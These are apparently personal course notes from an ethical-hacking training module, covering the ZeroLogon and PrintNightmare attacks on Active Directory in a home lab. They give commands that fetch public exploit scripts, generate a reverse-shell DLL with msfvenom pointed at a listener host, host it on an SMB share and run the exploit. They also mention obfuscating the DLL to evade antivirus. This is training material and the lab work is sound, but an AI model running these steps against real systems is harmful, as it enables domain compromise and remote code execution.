TCM Security Academy Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • TCM Security Academy Notes
  • Courses
    • TCM - Linux 101
      • 1. Introduction
        • Linux Distributions
        • Installing Linux
      • 2. Command Line
        • Intro to Command Line
        • Getting help on the Command Line
        • Command Line Arguments and Options
        • Reading Text Files
      • 3. File System
        • Filesystem Hierarchy Standard
        • Devices, Partitions and Mounting
        • Absolute and Relative Paths
        • Files and Directories
        • Paths, Filenames and Text Files
        • Filesystem Links
        • Archiving and Searching Files
      • 4. Users and Groups
        • Working with Users and Groups
        • File and Directory Permissions
        • Changing Users and Passwords
      • 5. Installing Software
        • Package Management
      • 6. Shells
        • Common Command Line Shells
        • Environment Variables & Startup Files
        • Input/Output Redirection
        • Command History & Substitution
      • 7. Utilities and File Editors
        • Searching and Processing Text
        • Networking at the Command Line
        • File Transfer
        • Text Editors and Converters
      • 8. Process Management
        • Process Information
        • Foreground and Background Processes
        • Managing Processes
        • Scheduling Processes
      • 9. Regular Expressions
        • Regular Expressions, Searching, Replacing, Building
      • 10. Bash Scripting
        • Bash Scripting Basics, Control Structures, Loops
      • 🌐Linux101 References
    • TCM - Mobile Application Penetration Testing
      • 1. Introduction & Mobile Pentesting
      • 2. Android Security
      • 3. Android Lab Setup
      • 4. Android Static Analysis
      • 5. Android Dynamic Analysis
      • 6. Android Bug Bounty
      • 7. iOS Security
      • 8. iOS Lab Setup
      • 9. iOS Static Analysis
      • 10. iOS Dynamic Analysis
      • 11. iOS Bug Bounty
      • 🌐MAPT References
    • TCM - Practical Ethical Hacking
      • 1. Introduction & Networking
      • 2. Lab Set Up, Linux & Python
        • Intro to Kali Linux
        • Intro to Python
      • 3. The Ethical Hacker Methodology
        • Information Gathering
        • Scanning & Enumeration
        • Vulnerability Scanning with Nessus
        • Exploitation Basics
        • Capstone Practical Labs
      • 4. Active Directory
        • Active Directory Lab
        • AD - Initial Attack Vectors
        • AD - Post-Compromise Enumeration
        • AD - Post-Compromise Attacks
        • AD - Additional Attacks
        • AD - Case Studies
      • 5. Post Exploitation
      • 6. Web Application
        • Web App Lab Setup
        • Web App - SQL Injection
        • Web App - XSS
        • Web App - Command Injection
        • Web App - Insecure File Upload
        • Web App - Authentication Attacks
        • Web App - XXE
        • Web App - IDOR
        • Web App - Capstone Practical Lab
      • 7. Wireless Attacks
      • 8. Legal Documentation & Report Writing
      • 🌐PEH References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • ZeroLogon
  • PrintNightmare

Was this helpful?

Edit on GitHub
  1. Courses
  2. TCM - Practical Ethical Hacking
  3. 4. Active Directory

AD - Additional Attacks

PreviousAD - Post-Compromise AttacksNextAD - Case Studies

Last updated 3 months ago

Was this helpful?

ZeroLogon

➡️ is a vulnerability in the cryptography of Microsoft’s Netlogon process that allows an attack against Microsoft Active Directory domain controllers. Zerologon makes it possible for a hacker to impersonate any computer, including the root domain controller.

The Zerologon vulnerability (CVE-2020-1472) is a critical flaw in Microsoft's Netlogon Remote Protocol (MS-NRPC) that affects Active Directory (AD) domain controllers. Zerologon allows an unauthenticated attacker with network access to a domain controller to establish a vulnerable Netlogon session and eventually gain domain administrator privileges.

The vulnerability arises from a flaw in the cryptographic implementation of the Netlogon protocol, enabling attackers to impersonate any computer, including the root domain controller. By exploiting this, an attacker can effectively take over the entire domain.

This is a very dangerous attack, not worth the risk of running it in a pentest.

mkdir -p $HOME/tcm/peh/ad-attacks/zerologon
cd $HOME/tcm/peh/ad-attacks/zerologon
git clone https://github.com/dirkjanm/CVE-2020-1472.git
wget https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/refs/heads/master/zerologon_tester.py

python3 zerologon_tester.py hydra-dc 192.168.31.90

PrintNightmare

PrintNightmare is a critical remote code execution and local privilege escalation vulnerability that allows attackers to execute arbitrary code with SYSTEM privileges, enabling them to install programs, modify data, or create new accounts with full user rights. Exploitation can occur remotely or locally, even on fully patched systems, if certain registry settings are misconfigured. Microsoft has released patches to address these issues, however, systems with specific registry configurations may remain vulnerable.

# Impacket

# Scanning
rpcdump.py @192.168.31.90 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol
# DC could be vulnerable

# Attacking
mkdir -p $HOME/tcm/peh/ad-attacks/printnightmare
cd $HOME/tcm/peh/ad-attacks/printnightmare
wget https://raw.githubusercontent.com/cube0x0/CVE-2021-1675/refs/heads/main/CVE-2021-1675.py

# Open second terminal - Generate dll payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.31.131 LPORT=5555 -f dll > shell.dll
msfconfole
use multi/handler
set payload windows/x64/shell_reverse_tcp
set LPORT 5555
set LHOST 192.168.31.131

# Open third terminal - setup a file share
smbserver.py share `pwd` -smb2support

# Run attack
python3 CVE-2021-1675.py marvel.local/fcastle:Password1@192.168.31.90 '\\192.168.31.131\share\shell.dll'
  • The attack was executed on a fully patched Windows Server 2022, and if it failed, it is most likely due to the applied security patches.

  • The dll may need to be obfuscated to bypass AV detection.

# CVE-2021-1675.py output
[*] Connecting to ncacn_np:192.168.31.90[\PIPE\spoolss]
[+] Bind OK
[-] Failed to enumerate remote pDriverPath
RPRN SessionError: unknown error code: 0x8001011b

Proceed with the attack using if the target is vulnerable.

➡️ The vulnerability refers to critical security flaws in the Windows Print Spooler service, identified as CVE-2021-1675 and CVE-2021-34527.

dirkjanm/CVE-2020-1472: PoC for Zerologon
Playing with PrintNightmare | 0xdf hacks stuff
PrintNightmare
ZeroLogon
ZeroLogon testing script